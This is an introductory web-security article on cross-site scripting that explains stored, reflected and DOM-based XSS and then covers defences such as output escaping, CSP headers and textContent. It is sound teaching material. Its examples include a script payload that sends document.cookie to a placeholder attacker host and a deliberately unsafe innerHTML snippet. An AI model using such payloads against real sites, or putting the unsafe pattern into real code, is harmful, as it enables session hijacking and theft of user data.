Cross-Site Scripting (XSS) attacks are one of the most common security threats in web applications. These attacks allow malicious users to inject harmful JavaScript code into websites. When executed in a user’s browser, these scripts can steal sensitive information, hijack sessions, or redirect users to malicious sites.

In this article, we will explore the types of XSS attacks and how to protect against them.

1. Types of XSS Attacks and How They Work

XSS attacks are categorized into three main types:

Stored (Persistent) XSS

• How it works: Malicious JavaScript code is stored directly in a database and executed whenever a user visits the affected page.
• Example Scenario: If a blog comment field accepts the following input:

<script>alert('XSS Attack!');</script>

This script is saved in the database and runs in every visitor’s browser whenever the page loads.

Reflected XSS

• How it works: The attack occurs when user input is reflected in a web page without proper validation.
• Example Scenario: If the search bar accepts:

<script>document.location='http://hacker.site/steal?cookie=' + document.cookie</script>

This code executes and sends the user’s session cookie to the attacker.

DOM-Based XSS

• How it works: The attack happens through client-side JavaScript manipulations of the DOM (Document Object Model).
• Example Scenario:

var userInput = location.hash.substring(1);
document.getElementById("content").innerHTML = userInput;

If a user visits the URL:

https://example.com/#<script>alert('Hacked!')</script>

And the input is not sanitized, the JavaScript executes in the browser.

2. XSS Prevention Methods

To prevent XSS attacks, follow these security practices:

Validate and Sanitize User Input

Filtering user input is the first line of defense against XSS.

Example (PHP):

$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

This function neutralizes <script> tags, making them harmless.

Use Content Security Policy (CSP)

CSP restricts which sources JavaScript can be executed from.

Example CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com

This allows scripts to run only from trusted sources.

Avoid Using innerHTML in JavaScript

Many XSS attacks exploit innerHTML. Instead, use textContent to safely handle user input.

Example (Safe DOM Manipulation):

document.getElementById("output").textContent = userInput;

This method ensures the input is treated as plain text and not executed as code.

Use Proper Escaping and Encoding

• Escape data in HTML, JavaScript, and URLs.
• Use secure templating engines such as Twig, EJS, or Handlebars.js.

Example (PHP):

echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

This prevents user input from being executed as HTML.

Conclusion

XSS attacks pose a serious threat to web security. However, by implementing the right security measures, they can be effectively prevented.

To protect your web applications:

• Validate and sanitize user input before rendering it.
• Implement CSP headers to restrict script execution sources.
• Use textContent instead of innerHTML in JavaScript.
• Apply proper escaping to prevent malicious script execution.

By following these security practices, you can make your website more resilient against XSS attacks.